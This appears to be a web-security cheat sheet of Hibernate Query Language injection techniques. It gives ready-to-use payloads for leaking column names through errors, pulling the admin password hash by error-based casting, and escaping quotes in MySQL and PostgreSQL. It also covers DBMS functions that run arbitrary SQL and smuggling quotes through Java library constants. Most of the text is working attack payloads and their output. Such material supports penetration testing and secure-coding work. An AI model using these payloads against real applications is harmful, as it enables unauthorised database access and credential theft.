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Hibernate Query Language Injection

Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia


⚠ Your input will always be between the percentage symbols: %INJECT_HERE%

HQL Comments

HQL does not support comments

HQL List Columns

from BlogPosts
where title like '%'
  and DOESNT_EXIST=1 and ''='%' -- 
  and published = true

Using an unexisting column will an exception leaking several columns names.

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select as id21_, as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]

HQL Error Based

from BlogPosts
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true

Error based on value casting.

Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select as id18_, as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1

⚠ HQL does not support UNION queries

Single Quote Escaping

Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH \'.

In HQL SINGLE QUOTES is escaped in strings by doubling ''.

'abc\''or 1=(select 1)--'

In HQL it is a string, in MySQL it is a string and additional SQL expression.

$-quoted strings

Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.

Hibernate ORM allows identifiers starting with $$.

$$='$$=concat(chr(61),chr(39)) and 1=1--'

DBMS Magic functions

Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.

Hibernate allows to specify any function name in HQL expression.

PostgreSQL has built-in function query_to_xml('Arbitrary SQL').

array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)

Oracle has built-in function DBMS_XMLGEN.getxml('SQL')

NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'


Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.

In Microsoft SQL SERVER SELECT LEN([U+00A0](select[U+00A0](1)) works the same as SELECT LEN((SELECT(1)));

HQL allows UNICODE symbols in identifiers (function or parameter names).

SELECT p FROM hqli.persistent.Post p where'dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'

Java constants

Method works for most DBMS (does not work for MySQL).

Hibernate resolves Java public static fields (Java constants) in HQL queries:

  • Class with Java constant must be in classpath
  • Ex. java.lang.Character.SIZE is resolved to 16
  • String or char constants are additionally surrounded by single quotes

To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.

public class Constants {
    public static final String S_QUOTE = "'";
    public static final String HQL_PART = "select * from Post where name = '";
    public static final char C_QUOTE_1 = '\'';
    public static final char C_QUOTE_2 = '\047';
    public static final char C_QUOTE_3 = 39;
    public static final char C_QUOTE_4 = 0x27;
    public static final char C_QUOTE_5 = 047;

Some usable constants in well-known Java libraries:

org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]           [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE                        [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR      [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING            [ jStyleParser ]                   [ JavaHelp ]  [ EclipseHelp ]
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1

Methods by DBMS



Last update: September 13, 2022